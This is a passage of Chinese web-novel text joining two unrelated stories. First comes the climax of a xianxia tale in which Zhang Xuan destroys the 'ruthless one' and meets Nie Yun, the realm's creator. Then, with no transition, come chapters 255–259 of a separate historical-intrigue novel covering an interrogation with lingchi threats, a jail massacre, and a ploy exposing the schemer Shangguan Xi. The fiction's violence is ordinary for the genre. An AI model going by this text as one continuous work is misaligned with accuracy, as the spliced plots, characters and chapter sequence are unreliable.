“你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?”
淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。
原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。
只要有情,就要被他所用,被他控制!
“你……”
狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……”
“现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。
掌控天下之情,仆人之类对于他来说,已经没任何意义了。
杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕!
“不……”
感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。
嘭!
一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。
之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。
“这……”
“这样就杀了?”
云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。
刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步?
难道帝君之上,真的还有另外的境界?
“他成功了……”
孔师和洛若曦,松开捏紧的拳头。
“这是天道的一部分,那我现在就归还天道……”
看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。
嗡!
从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。
大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。
崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。
“看来,神界要重新迎接灵气复苏时代了……”张悬一笑。
潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。
“张悬,这边来……”
刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。
这一步,不知飞了多远,随即看到一个青年站在面前。
正是之前传授自己剑法的那位。
“前辈,你……”
看到是他,张悬一愣。
之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。
“直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。
“聂铜?”张悬皱了皱眉。
第一次听到这个名字。
“跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。
张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。
随即看到了另外一个青年。
容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。
“这实力……”张悬一颤。
眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重!
“在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!”
“若曦的父亲?”
张悬一震:“你……是神界天道?”
之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。
“我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。
张悬不敢相信。
神界竟然是眼前这人创造的?
那他的实力,该有多强?
“不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。
如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问?
甚至连女儿的生死,都关心?
没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?”
“这……”张悬停顿了一下:“应该有吧……”
虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。
就好像眼前这位。
“我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!”
聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。”
“这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!”
“所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!”
聂云笑道。
“不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。
难怪,能够穿越过来,没想到都是眼前这位所为。
“呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……”
“我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……”
没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。
“机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?”
聂云道。
张悬沉默不语。
当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。
也有可能,他不愿意斩杀洛若曦吧。
可惜,就这一念之间,错过了晋级的机会。
“如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。
难不成,眼前这位连女儿的生死都不管了?
“有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?”
“这……”张悬苦笑。
突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。
“灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……”
聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……”
看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……”
不答应也没办法,谁让自己拐走了人家的女儿……
“天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。”
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第255章撒谎,我在撒谎啊!
“你就是姜白?好大的胆子,竟敢袭击当朝持节令,正三品的朝廷重臣。
知不知道这是诛九族的大罪!”
简陋的厢房临时变成了囚牢,姜白呈大字型被绑在木桩上,岳伍和许韦两人把他打得皮开肉绽,愣是一个字都没问出来。
“呸。”
姜白啐了口混杂着血腥味的唾沫,艰难地抬头瞄了一眼:
“你又是谁?怎么,他们两拿我没辙,请帮手来了?看你这文绉绉的样子,见过血吗?”
“混账!”
鄙夷的神情令上官熙怒目圆睁:
“本官乃陇西道巡阅使,安敢如此放肆。来啊,给我打!”
“啪啪!”
岳伍二话不说又抽了几鞭子,姜白的眼神更加昏暗,疼得龇牙咧嘴,丝丝鲜血顺着嘴角不断往下流。
“说吧,到底是谁指使你刺杀洛将军与君公子的。”
上官熙冷声问道:
“总不至于你与他们素不相识,见人就杀吧?”
“呵呵,我就是单纯的痛恨达官显贵不行吗?”
姜白讥讽一声:
“手长在我自己身上,我想杀谁就杀谁!”
“那么多杀手你如何解释?上百好手的刺客普通人可没本事豢养,你幕后定然还有旁人!
说,是谁!”
“不过是一群志同道合的侠客罢了,就是愿意跟着我干,没办法。”
一问一答,姜白明显是死猪不怕开水烫,每一句话都敷衍至极。
“真如洛将军所说是块硬骨头啊。”
上官熙贴近了几分,冷冷的盯着姜白的眼眸:
“不怕死是吧?可你总有家人吧?那些死掉的刺客也会有家人吧?本官迟早会把你们的家人全都找出来,让你眼睁睁地看着他们死在你面前。
一个一个,千刀万剐!
放心,到时候你就算是想说也救不了他们了。”
冰冷的嗓音在房中回荡,君世雍、洛羽几人都愣了一下。上官熙一个文官,行事作风竟然如此狠辣,果然是从底层摸爬滚打起来的人物,就是不简单!
姜白不知道是不是被吓到了,脸色微僵,目光缓缓扫过屋内众人,最后在王彦之的身上停了一下。
王彦之的表情瞬间一寒,眉宇微皱。
“来,我告诉你。”姜白咽了口唾沫:“离我近点,我怕被报复。”
上官熙将信将疑地把耳朵凑了过去。
“我好怕啊。”
姜白讥讽出声:
“有本事你就去找,老子既然敢做此事就无所顾忌!区区文人也想吓我?老子是被吓大的!
我好怕,哈哈哈!”
“混账!”
猖狂的笑声令上官熙恼羞成怒,气得直哆嗦:
“来人,打,给我接着打!上酷刑!”
“先把他的舌头割下来,看他还敢不敢口出狂言!”
“大人,大人息怒!”
眼瞅着巡阅使大人即将暴走,君墨竹赶忙上前拦住:
“没必要与区区奸贼置气,再说了,若是把此人打死,唯一的线索就断了。
还是先查明案情要紧。”
“可此人嘴硬得很,一个字都不肯说,怎么办?”
“大人放心,我有办法。”
君墨竹朝着姜白冷笑道:
“我手下有人精通刑讯,自幼习得一独门绝技,名为凌迟。
可以将人身上的肉一片片割下来,足足三千六百片,却不会让他断气。每一刀割下去都会痛彻心扉,想死都死不了。
想象一下,这是何等恐怖的景象。”
在场所有人都惊住了,他们听说过凌迟,乃十大酷刑之首,不过现在已经失传了,没想到君墨竹竟有这样的下属。
姜白第一次露出了恐慌的表情,咽了口唾沫没吱声。
上官熙愕然发问:“君公子手下竟有如此能人?”
“呵呵,当然。这么多年来就没有他敲不开的嘴,多硬的骨头也会在他手下求饶。”
君墨竹自信满满:
“我已经派人回定州传信,三日内此人必到!”
“好,太好了!哈哈!”
上官熙畅快大笑:
“嘴硬是吧,看你能嘴硬到什么时候!
不过有件事你们得注意,既然杀手行刺失败,被抓了活口,弄不好同伴会来劫狱,此地略显简陋,人犯关押在这里是不是太危险了些?”
“大人提醒的是。”君墨竹略加思索:“倒不如关在并州牢房吧,有众多狱卒看守,安全些。”
洛羽眉头微皱,并州监牢哪儿有自己这安全,不过当他看到君墨竹隐晦的眼神时就咽下了吐到嘴边的话。
“那就这么定了!王大人,你可得好好看守人犯。”
上官熙袍袖一挥,大步离去:
“三天后本官就要看看,是何人在背后密谋此事!”
……
上官熙几人陆续离去,人犯也被官兵带走了,临走前王彦之的表情有些古怪,欲言又止,最后终究是一句话也没说。
悦来酒楼,并州城内颇有名气的一家酒楼,眼下整座酒楼都被包下来了,作为洛羽的临时驻地,酒楼内除了三百亲卫再无其他客人。
洛羽和君墨竹站在酒楼顶端,目送一行人远去:
“刚刚姜白的眼神在王彦之的身上停留了片刻,你注意到了吗?”
“当然。”
君墨竹的嘴角勾起一抹趣味:“这个停顿有意思啊,耐人寻味,是不是在暗示什么?”
“你觉得是谁?王彦之吗?”
“暂时还不清楚。”
君墨竹负手而立:
“其实你我心知肚明,在陇西能组织这么多精锐死士,还想杀我们两地只有两个人选。
要么是王家,要么是上官熙。
洛家君家死了人,一心忙着报仇,当然不会去争夺节度使之位,王家获益。
但上官熙也有理由出手,他想当节度使就不希望看见铁板一块的陇西。截杀失败,我们两方自然会把矛头对准王家,陇西三州就会自相残杀。”
“从目前来看,王家的可能性最大,如果是上官熙那就太可怕了。”
洛羽回想了一下审问的整个经过,上官熙与姜白从头到尾的表现都不像是认识,甚至说是十分陌生。
会是他吗?怎么看都是王彦之最可疑。
“哎,不猜了。”
洛羽不耐烦地摇了摇头:“反正你君家的刑讯高手很快就能到,希望他能撬开姜白的嘴吧。”
“刑讯高手?”
君墨竹白了他一眼:“我君家哪有什么刑讯高手。”
洛羽瞬间傻眼:“你,你刚才不是自己说的吗?说什么凌迟,说什么没他敲不开的嘴。”
“撒谎啊,撒谎!”
君墨竹振振有词:
“不管是王家还是上官熙,他们有恃无恐的原因无非是姜白嘴巴很严,不会泄露幕后之人罢了。
但你猜猜他们得知君家有如此刑讯高手之后会做什么?”
洛羽陡然醒悟:
“灭口,他们会派人灭口!因为他们赌不起姜白的骨头有多硬。所以你故意将人犯交给王家,关进并州监牢,就是为了引他们出手!”
“没错!”
君墨竹轻笑一声:
“你洛将军的三百亲兵太能打了,人犯关在这他们还真不一定敢动手,但关在并州监牢就不一样了,嘿嘿。
今晚,最迟明晚,幕后之人一定会动手!”
“妙啊,引蛇出洞的妙计!”
洛羽冷笑一声:
“那就让我们来看看,这条毒蛇会是谁!”
第256章监牢火起杀人夜
夜深人静,月黑风高
偌大的并州城被重重黑幕笼罩,为了迎接王家、君家的大婚,街头巷尾已经挂起了不少红灯笼,张灯结彩,微弱的火光在夜风中晃来晃去。
对于生活在贫困中的百姓而言,有时候需要一些热闹来转移他们的注意力,好让他们短暂的麻痹神经。
坐落在城中一角的监牢更是灯火通明,巡夜值守的狱卒比往常多了一倍!
七八名狱卒守在监牢门口,人人腰间挎着一把朴刀,深更半夜强撑着眼皮巡夜,时不时就打哈欠,看得出他们快熬不住了。
一名年轻狱卒苦着脸道:
“牢里关的到底是什么人啊,还得巡夜站岗,咱们啥时候受过这种罪?头,实在不行咱们回去眯会儿吧。”
“对啊,我就不信有不开眼的敢来监牢闹事。”
一群人叫苦不迭,以往这时候他们早就睡了,最多留几个人看大门。
“闭嘴,脑袋不想要了!”
上了年纪的狱头瞪了他一眼:“你没看派了官军驻扎在牢房里吗?上头发话了,谁敢玩忽职守就得处斩!
你要是不怕死就回家睡觉,老子还想多活几年呢。”
狱卒被喷了一脸唾沫星子,哆嗦了一下不敢再吱声,个个战战兢兢。虽然不知道昨天押入牢房的家伙是什么人,但这么多年来头一回有官军进驻牢房,阵仗吓到了他们。
“轰!”
“起火,起火啦!”
“快来救火啊,妈呀,要烧死人了!”
约莫过了小半个时辰,正当众人昏昏欲睡的时候,前方街巷中突然传来一阵嘈杂,隐隐有火光升腾,而且火势越烧越旺,连着一排民房都被点着了。
“怎么回事,咋就突然着火了?”
“哎啊,到处都挂着灯笼,风一刮不起火才怪。”
“那个位置好像是军营草料场啊,所有战马需要的草料都囤积在那,万一被一把大火烧了那不是完蛋?”
“咋办,咱们要不要去救火?”
“救火?不行啊,咱们得守着监牢。”
就在狱卒们犹豫不决之时,守在牢房内的百十号披甲士卒全都涌了出来,领头的中年武将拎着一把大刀冷喝道:
“出什么事了,是不是有人劫狱!”
“启禀将军,不是劫狱,是失火了!”狱头屁颠屁颠地跑过来,指向夜空中的火光:
“您看,起火的位置离草料场很近,咱们要不要去救火?”
“竟然是草料场失火!”
中年武将面色一惊,他深知草料场对驻军有多么重要,但沉思片刻之后还是冷喝一声:
“王大人严令,咱们守在监狱一步也不得离开!就算大火将满城都烧了咱们也不能动!”
众人面面相觑,既然是王彦之的命令他们也不好违抗。
“驾!”
“哒哒哒!”
一骑快马突然从黑暗中疾驰而出,众人定睛一看,乃是持节令府的一位小吏,平日里经常帮王彦之干些传信的活,官阶虽然不高,可毕竟是王彦之府中的人啊,一个个全都挺直了腰板。
来人策马急停,厉喝一声:
“大人军令,让你们速速前去救火!快!”
“啊,救火?”
中年武将面色一变,愕然问道:“大人,会不会搞错了,大人昨日还给我下令守在监狱,一步不得离开。”
“此一时彼一时,这都什么时候了!”
来人怒目圆睁:“
你们离草料场最近,你们不救谁救?若是草料场被烧为灰烬,这个责任你们担得起吗!
赶紧去救火,本官还得去他处传令!”
小吏来得也快去得也快,风风火火。
中年武将一哆嗦,哪还敢怠慢,赶忙喝道:
“所有军卒随本将外出救火,狱卒继续守着牢门,不得外出!”
“诺!”
呼啦啦上百道身影涌出了监牢,顺着狭窄的街巷往起火点赶去,城内慌乱的喊声越发响亮,感觉哪哪都乱糟糟的。
仅剩的狱卒在门口急得团团转,一名胆子小的忧心忡忡:“头,我们没有第一时间去救火,万一草料场真被烧得干干净净,该不会把责任怪到咱们头上来吧?”
“闭上你的乌鸦嘴,哪有这么倒霉!”
狱头再度瞪了他一眼:“天塌下来有高个子顶着,你怕什么!”
“嗖!”
“噗嗤!”
话音未落,黑暗中陡然射出一支利箭,稳稳地洞穿了他的头颅,鲜血中带着腥白的脑浆瞬间四溅。
所有狱卒都傻眼了,如此恐怖的场面吓得他们脸色惨白。
“嗖嗖嗖!”
“嗤嗤嗤!”
紧跟着便是密集的箭雨飞出,十几人全都应声而倒,连一丝惨叫都没发出,最惨的一个胸口中了四五支箭,死样惨不忍睹。
在漫天火光和满城的喧嚣声中,数十道黑衣人从夜色中涌出,一窝蜂地冲入监牢,随即便有一阵阵慌乱的吼叫在夜空中响起:
“你们是什么人,竟敢袭击并州监牢!”
“胆你个头,给我杀!”
“一个不留!”
“啊啊啊~”
牢房中刀光剑影纷飞,一道道血箭不断飞溅,平日只会欺压良善的狱卒哪会儿是精锐杀手的对手,被杀得溃不成军。撕心裂肺的哀嚎声让满监牢的犯人瑟瑟发抖,全都蜷缩在角落里,生怕这些恶魔般的黑衣人将刀锋对准自己,唯有监牢最深处的姜白露出了笑容,一抹畅快无比的笑容。
“砰!”
很快就有三名黑衣人一脚踹开了牢房的大门,拎着刀冲了进来。
“你们总算是来了。”
姜白长出了一口气:“快,快救我出去!”
为首一人手忙脚乱地去解姜白身上的镣铐:
“姜兄应该没有出卖我们吧?大人可是十分担心你啊。”
“当然没有了,我一直守口如瓶!”
姜白急了:“我家人尚在大人手中,岂会泄密?”
“那就好,呵呵。”
黑衣人的喉咙眼中发出了一丝怪异的冷笑。
姜白的表情瞬间一滞:“你们该不会是想卸磨杀驴吧?”
“猜对了!”
“噗嗤!”
一柄短小的匕首狠狠扎进了姜白的咽喉,黑衣人贴在姜白耳边讥讽道:
“放心,大人说了,会送你的家人去和你团聚!”
“扑通!”
鲜血淋漓的死尸缓缓栽倒在地,姜白临死前的眼神是那么的绝望、后悔。
“我们走!”
黑衣人一哄而散,很快便消失在无尽的夜色中,只不过监牢中已经多出了几丝血腥味。
……
悦来酒楼
洛羽和君墨竹站在阁楼便凭栏而望,正好可以看到远处冲天而起的火光,几乎照亮了半边天。
君墨竹轻笑一声:
“今夜就动手了,他们还真是心急啊。”
洛羽舒展了一下腰肢:
“放心吧,岳伍和许韦早就盯在那儿了。”
第257章你王家想杀人?
两家婚礼临近之日,并州城本该是喜气洋洋,可一场意外突然让满城嗅到了一股不寻常的气息。
起因只是一场普通火起,差点烧了并州驻军的草料场,可在大火背后却是监牢遇袭,大批神秘刺客涌入监牢,将狱卒杀得干干净净,听说还死了个犯人,但外界百姓并不知道什么犯人能引来如此多的杀手。
然后便是大批官军出动,满城戒严,手持利刃的军卒在城内四处搜捕刺客,事情闹得沸沸扬扬,满城百姓战战兢兢,丝毫不敢议论此事,生怕被当成坏人给抓起来。
官府衙门,新上任的陇西道巡阅使上官熙暴跳如雷,破口大骂:
“谁,到底是谁如此大胆!竟敢在本官眼皮子底下行此大逆不道之事!袭击监牢,好啊,本官已经很多年没见过如此狂悖无道的贼子了!
本想着撬开贼人的嘴,没想到一眨眼人就死了,这不是杀人灭口是什么?”
“查,给本官好好的查,刺客一定还躲在并州城内,掘地三尺也要把他们找出来!”
屋内众人全都低着头,任由他唾沫横飞,其中当属王彦之的脸色最难看。
果然,下一刻上官熙就看向了他:
“王大人,不是本官有意落你的面子,可前次是洛将军、君公子在并州境内被刺杀,这一次又是监牢遇袭,诸位大人在并州的安全你到底能不能保证?”
坐在对面的君世雍目光微凝,眼神在王彦之身上来来回回扫了好几次,君天啸更是面色不善。
“下官无能,请大人恕罪!”
虽说王彦之是地头蛇,但姿态放得很低:“此事确实是下官疏忽,让贼子多次得逞。请大人放心,此等事绝不会再发生第二次!”
“本官不是要治你的罪,只是想问问清楚。”
上官熙皱着眉头:
“刺杀案的唯一活口姜白在悦来酒楼关了那么久都没出事,怎么一到并州监牢就死了?君家的刑讯高手已经在路上,眼瞅着就要真相大白,此事是不是太过蹊跷?”
王彦之面色一僵:
“人犯一到监牢下官就加派了两倍的狱卒巡夜,还派了武将领官军守在牢房中,本想着万无一失,没想到……”
“官军,你还派了官军驻扎?”
上官熙反问道:“那杀手袭击的时候官军人呢?本官怎么听说现场只有狱卒的尸体。”
“那个,据说有本官府中的一名吏员去传令,让官军赶往草料场救火,这才被刺客钻了空子。仵作查验了狱卒身上的伤口,都是一刀毙命,刺客全都是身手过人之辈。”
王彦之艰难地解释了一句:
“可本官从未下令让官军离开监狱去救火,请大人明察!”
“噢?那就是你府中的吏员擅自去传令?”
“没错,下官确实不知情!”
上官熙背着手来回踱步,然后猛然一顿:
“调虎离山,是调虎离山之计,此吏员定然是刺客的同谋!去,立刻将此人捉拿归案,严加审问!”
“那个。”
王彦之很是尴尬地回答道:
“今天一早下官就派人前去缉拿了,可发现此人已经自尽。”
“什么?这么说是死无对证了?”
上官熙的眉头陡然凝了起来:
“王大人,你府中出了奸贼,您代掌并州持节令,责任不小啊。若是消息传出去,满城百姓会这么说?
只怕会说是你王大人有意要行刺洛将军与君公子吧?”
“我与洛兄、君兄乃是好友,绝不会行此大逆不道、背弃亲朋之举!”
王彦之的脸色陡然一变:
“还请大人明察!”
君天啸冷冷的插了一句嘴:
“那我二弟遇刺又该如何解释?万一真被歹人得手,王兄可得负最大的责任!”
“哎,王大人不要急嘛,君公子也稍安勿躁。”
眼瞅着场面不太和谐,上官熙的语气突然一松,轻声道:
“本官只是随口一说,我只不过是在担心王家的名声,绝非怀疑你。
罢了,如今所有受牵连的人犯都死了,线索全断,接下来的头等大事还是先维持城内治安、安抚民心,先确保两家婚事顺利完成。
王大人,此事你总该能办妥吧?”
“请大人放心!”
王彦之恶狠狠地说道:
“明日下官便调五千兵马入城,维持城中治安,一定要将贼人揪出来,确保婚事顺顺利利。”
“嗯,那就好。”
上官熙一挥手:
“那就散了吧,呵呵,本官就等着喝两家的喜酒了。”
众人鱼贯而出,脾气略显火爆的君天啸瞪了王彦之一眼:
“王兄,我希望你能给我君家一个交代,哼,我可不想被人从背后捅刀子!”
王彦之的脸色青一阵白一阵,拦住了身后的洛羽和君墨竹:
“两位,能否卖我一个面子,去王府一叙?”
洛羽和君墨竹的眼眸中闪过一抹趣味:
“王兄相邀,岂能拒绝?”
……
偌大的会客厅里,王彦之亲手给两人斟满茶水,苦笑道:
“我们三人早已相熟,彦之就直言不讳了,你们不会也以为是我派人行刺的吧?”
“是与不是,只有王兄自己知道。”
君墨竹漫不经心地抿了口茶水:
“那日在监牢里,贼首姜白似乎多看了王兄一眼啊,而且人犯刚刚转移到并州监牢,怎么说死就死了?
这其中若是没有隐情,只怕谁也不信。”
屋中的表情略有些沉闷,每个人好像都藏着心思。
“我知道种种矛头都指向王家,但请两位相信我,我王彦之绝不会行此龌龊之举!”
王彦之明显急了,脸色泛红:
“我与洛兄虽然相识不久,但引为好友,洛兄之忠勇王某敬佩!我此前就说了,日后陇西边关的安危还得靠洛兄多多出力。王家与君家更是即将联姻,我与君兄很快就是亲人,我为何要行刺二位?难道我愿意看着自己的妹妹还未成亲就成了寡妇?
我王彦之以王家名誉担保,刺杀一事绝非我所为!
两位兄台,此乃王某肺腑之言啊!”
“哈哈哈哈!”
在王彦之错愕的眼神中两人朗笑出声,洛羽呵呵笑道:
“王兄不必如此紧张,我们知道不是你干的。”
君墨竹嘴角微翘,缓缓道来:
“其实将人犯转移到并州监牢,乃是我引蛇出洞之计!我们早就猜到幕后之人会暗中刺杀姜白,杀人灭口,你的官军虽然被骗走了,但洛将军的人一直藏在暗处。
刺客得手之后便一哄而散,而洛将军的人暗中跟上,一路顺藤摸瓜,找到了真正的幕后主使!”
“引蛇出洞?妙计啊!”
王彦之腾的一下站了起来:
“是谁,到底是谁想栽赃王家!挑拨我三人内乱!”
洛羽和君墨竹的目光同时一寒:
“上官熙!”
第258章三州共进退
洛羽将事情的经过全都讲了出来:
自从姜白转移到并州监狱之后岳伍就带着军中好手蛰伏在四周,静待时机。
城中火起、官兵调离、刺客袭击他们全都看在眼里,但始终没有插手。
杀手得逞之后便四散离去,但全被盯上了,岳伍他们犹如鬼魅般跟着刺客,最后发现其中一人直接去了上官熙的住所!
至于杀手去说了什么还重要吗?不重要!
“是他,果然是他!”
王彦之似乎也早有推测,愤然怒骂:
“此子就没安好心!亏他抵达并州之后我王家还好吃好喝地招待他!
人前冠冕堂皇,背地里却无耻至极!”
“现在骂人已经无用。”
洛羽眉头轻挑:
“我们该好好想想,他为何要这么做。”
“这还不简单吗,挑拨陇西三州内乱罢了!”
王彦之何等聪明?瞬间就想通了:
“所有人都知道这位巡阅使是来考察陇西节度使人选的,可实际上他也想染指节度使之位。
陇西三州如果是铁板一块,他自然无法得逞。
可借用一次行刺,就能将君家、洛家的矛头对准王家,简直赚大发了!
只要我们三家不和,他行事就方便了许多。”
“没错。”
洛羽冷声道:
“事后我仔细地回想了一下,我随行三百亲卫皆是沙场百战之卒,区区百十号刺客怎么敢动手?
答案就只有一个!从始至终上官熙就没想过要成功,他想做的无非是让三家心生隔阂,行刺只不过是个幌子!”
君墨竹接着补充道:
“那一夜我们抓获姜白的时候,此人嘴里含着毒药,也就是说他们没想过活着回去,我们将其生擒出乎了上官熙的预料。
从他们的对话可知,姜白的家人大概是被上官熙抓住了,以此为要挟,他笃定姜白不敢供出他,看向王兄的眼神应该就是姜白听懂暗示之后的又一次栽赃!
不过我随意编造出一个刑讯高手让他措手不及,被逼无奈之下只好做出杀人灭口之举。
王府小吏只怕也是近期被上官熙收买,成了指向你王家的另一个证据!”
如果上官熙听到这番话一定会震惊!因为洛羽和君墨竹二人的推测几乎与真相一模一样!
“环环相扣,心思叵测啊!”
王彦之的拳头已经攥紧:
“为了挑拨三家的关系不择手段,实在卑鄙!而且他竟然带了如此多的死士前来陇西,想必早就盘算好了怎么对付咱们!”
三人面色凝重,上官熙来者不善啊!
王彦之疑惑道:
“我很好奇,既然已经发现了上官熙下手的证据,咱们为何不直接捅出来?
想必那些杀手全都在洛兄掌控之中,为何不抓?”
“捅出来,然后呢?”
洛羽反问了一句:
“以此为证据,杀了他?”
王彦之僵住了,好像这样并不妥。
洛羽有条不紊地分析道:
“说白了,所谓的证据不过是我手下跟踪发现的,不可能作为呈堂证供,朝廷更不会相信这个证据。
难道我们能平白无故杀了一个从二品大员?那陇西三州就真的背上一个造反的名头了。
我的建议是两家联姻在即,君兄的婚事最重要,先等婚礼结束咱们再来对付上官熙。”
君墨竹轻笑一声:
“以前是他们在暗我们在明,处处得小心,可如今是我们在暗处,自然可以牢牢盯紧他!
这么想,优势在我们!”
这么一解释,王彦之恍然大悟,释然一笑:
“还是你们两考虑周到啊,我不如也。
正好趁着这次机会,王某有几句心里话想说,二位可愿一听?”
突然认真的神情令洛羽和君墨竹下意识坐直了腰板:
“王兄请讲!”
“上官熙也好,还是谁也罢,朝廷想要设立陇西节度使已经是板上钉钉的事。”
王彦之沉声道:
“如果不想陇西道被他人染指,咱们三家或许该思考对策了。”
两人目光微凝,王彦之则接着说:
“这些年来西羌屡屡进犯,朝廷除了象征性派点兵马、发点军饷之外再也没有为我们做过任何事。
此次边关大战,朝廷更是一兵一卒未出,都是我陇西三州死了千万将士才守住边关。
说白了,陇西是我们的家,咱们保护家园是职责所在,没什么好说的。
但现在战事平息,朝廷想染指三州军政大权,这怎么行?
三家的努力岂不是付诸东流!”
王彦之说着说着眉宇间就充斥着怒气,明显对朝廷极为不满。
君墨竹微微抬头:
“那王兄的意思是?”
“很简单!”
王彦之冷笑一声:
“朝廷不是想设置节度使吗?没问题,我们三家就共同推举出一位,主管三州军政!
不管朝廷派谁来,咱们三家都拧成一股绳,把他挤走!
比如上官熙,他若是老老实实离开,咱们就既往不咎,如果他贼心不死,那我们就把这些龌龊事捅出来,让他声名狼藉!
如此一来,朝廷只能由着我们来。”
“主意是好主意,道理也没问题。”
洛羽平静地问道:
“可我们三家,谁来当这个节度使呢?”
屋中略显沉寂,三人很清楚,对外他们是陇西,可对内三家都有各自利益,谁愿意吃亏?
王彦之努了努嘴:
“我有个想法,我爹病入膏肓,命在垂危,自然不可能当节度使。
放眼三州,唯有君叔父资历最老,又老成持重,堪当大任!就由叔父出任陇西道节度使!”
洛羽和君墨竹愕然,没想到王彦之竟然主动放弃了官位,争都不争直接让给了君世雍。
“当然,君叔父当节度使是明面上的。”
王彦之将自己的想法和盘托出:
“陇西三州可以结盟,平时各自管境内政务,一旦遇到大事,便由三州持节令共同表决,少数服从多数!
如果有谁违反盟约,那另外两州便可共伐之!
如何?”
洛羽饶有兴趣地思索起来,听起来像是眼下最合适的方法,至少这几天接触下来君世雍的品行不错,绝非李家那种小人。
君墨竹苦笑一声:
“我觉得可行,可惜我既不是持节令,也不是未来君家的继承人,我说了也不算,稍后我会回去禀告父亲。
主要还是看洛兄的意思。”
其实君墨竹是在刻意避嫌,不给洛羽压力,节度使的位置都给君家了,难道君家还能拒绝?
洛羽沉默许久,最后微微点头:
“我同意!”
至少从目前来看,三州最大的危机是先应付朝廷的染指,至于以后就再说吧,起码王彦之的提议还算可以接受。
“好!”
王彦之伸出手掌:
“那我三兄弟便击掌为盟!三州共进退!”
三只手掌重重撞在一起:
“共进退!”
第259章陇西第一剑
并州城内披甲巡逻的士卒比以前多了很多,半夜还经常宵禁,百姓们都知道这是在搜寻袭击监牢的杀手。
但这些刺客仿佛凭空消失了一般,挨家挨户、掘地三尺也找不到任何踪迹,毕竟并州城从中原往来的商贾太多了,出入的陌生人数不胜数,刺客混在人群中很难分辨。
渐渐的此事就被百姓们忘了,取而代之的是一股喜庆的氛围洋溢全城。
君墨竹大婚的日子到了!
在婚礼开始的前三天,城中搭起了一座演武台。
陇西三州地处边关,习武之人颇多,所以王家特地搞了比武大会为婚礼助兴,并且开出了优厚的奖赏,吸引了不少人前来参加。
毕竟是陇西三大世家之二,婚礼怎么着不得热热闹闹?
前两天便有许多人登台比武,使刀的、用剑的、还有大斧头、小锤子,十八般武器样样皆有,你方唱罢我登场,百姓们看得喝彩声不断。
第三天便是重头戏了,因为今日上场的都是经历过一轮淘汰赛的选手,不说人人武艺高强吧,起码都有两把刷子。
“咚咚咚!”
“比武开始!”
